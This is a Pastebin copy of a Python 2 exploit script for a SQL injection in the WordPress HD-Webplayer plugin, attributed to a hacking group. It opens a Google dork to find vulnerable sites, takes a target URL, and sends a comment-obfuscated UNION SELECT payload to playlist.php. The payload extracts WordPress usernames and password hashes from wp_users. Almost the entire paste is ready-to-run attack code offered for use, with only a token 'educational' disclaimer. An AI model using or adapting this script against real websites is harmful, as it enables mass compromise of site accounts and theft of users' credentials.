Advertisement
Kyfx

Wordpress HD-Player SQLI Script by Witch3r

Apr 3rd, 2015
519
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.93 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Exploit Name: Wordpress HD-Webplayer SQL Injection Vulnerability
  3. # Script by CyberTeamRox - www.cyberteamrox.org
  4. # We are El Mujahidin Team
  5. # Vulnerability Discovered by: Someone (idk)
  6. # Exploit Coded by Witch3r
  7. # Dork: inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid=
  8. # Tested and Working 100%.I suggest you to manually inject Website having WAF.My script is not good in WAF Bypass
  9. # Credits : ZeSn,UxAiR,Baddass Elsa,Junior HAxor,Code Ninja
  10. # Disclaimer: Only for Educational Purpose.Witch3r won;t be responsible for any misuse done by this script.
  11. # Requirement: You need to install BS4 Module to python from https://pypi.python.org/pypi/beautifulsoup4/4.3.2 and extract it in python27>LIB>Site-Package
  12. import sys
  13. import time
  14. import urllib
  15. import urllib2
  16. import webbrowser
  17. from bs4 import BeautifulSoup
  18. from urllib import urlopen
  19. from urllib2 import Request, urlopen, HTTPError, URLError
  20. import re
  21. # Errors management
  22. import sys
  23. # Args management
  24. import optparse
  25. print ""
  26. # Banner
  27. print ""
  28. print ""
  29. print " ======================================================================="
  30. print " [+] Wordpress HD-webplayer SQL Injector [+] "
  31. print " ======================================================================="
  32. print ""
  33. print " Coded by: Witch3r"
  34. print ""
  35. print " ~~ El Mujahidin Team~~"
  36. print ""
  37. print " Dork: inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid="
  38. print ""
  39. print " Credits:CyberTeamRox,Uzair,Baddass Elsa,sofyan,Junior Haxor,code ninja,ZeSn"
  40. print ""
  41. print " ========================================================================="
  42. print ""
  43. print ""
  44. print ""
  45. time.sleep(1)
  46. # Input Target
  47. dork = raw_input(" Search google dork? (y/n) :")
  48. if dork=="y":
  49. webbrowser.open('https://www.google.com/#q=inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid=')
  50. print ""
  51. time.sleep(1)
  52. link = raw_input(" Website(http://www.example.com) : ")
  53. time.sleep(1)
  54. # Web browser clients
  55. user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'
  56. headers = { 'User-Agent':user_agent }
  57. req = Request(link, headers = headers)
  58. try:
  59. page_open = urlopen(req)
  60. except HTTPError, e:
  61. print e.code
  62. except URLError, e:
  63. print "Check url"
  64. exit()
  65. else:
  66. print ""
  67. time.sleep(1)
  68. print 'Starting...'
  69. print ''
  70. time.sleep(1)
  71. print ' Injecting ' + link
  72. # Vulnerable Path
  73. inj = "/wp-content/plugins/hd-webplayer/playlist.php?videoid=null"
  74. # Vulnerable url
  75. print ""
  76. vurl = link + inj
  77. query ="%20/*!50000union*/%20/*!50000select*/%201,2,3,/*!50000GrOup_CoNcAt(0x757365726e616d65203a20,user_login,0x0a,0x50617373776f7264202857502d4841534829203a,user_pass)*/,5,6,7,8,9,10,11%20/*!50000from*/%20wp_users--"
  78. result = vurl + query
  79. # Web clients
  80. user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'
  81. headers = { 'User-Agent':user_agent }
  82. req = Request(result, headers = headers)
  83. try:
  84. page_open = urlopen(req)
  85. except HTTPError, e:
  86. print " Not Vulnerable"
  87. exit()
  88. except URLError, e:
  89. print " Not Vulnerable"
  90. exit()
  91. else:
  92. print ""
  93. time.sleep(1)
  94. print ' Vulnerable'
  95. print ''
  96. # User Credentials from sql query
  97. time.sleep(1)
  98. print " Username and password will be shown along with vulnerable columns "
  99. url = result
  100. html = urllib.urlopen(url).read()
  101. soup = BeautifulSoup(html)
  102. # kill all script and style elements
  103. for script in soup(["script", "style"]):
  104. script.extract()
  105. text = soup.get_text()
  106. lines = (line.strip() for line in text.splitlines())
  107. chunks = (phrase.strip() for line in lines for phrase in line.split(" "))
  108. text = '\n'.join(chunk for chunk in chunks if chunk)
  109. print(text.encode('utf-8'))
  110. #The End ;)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement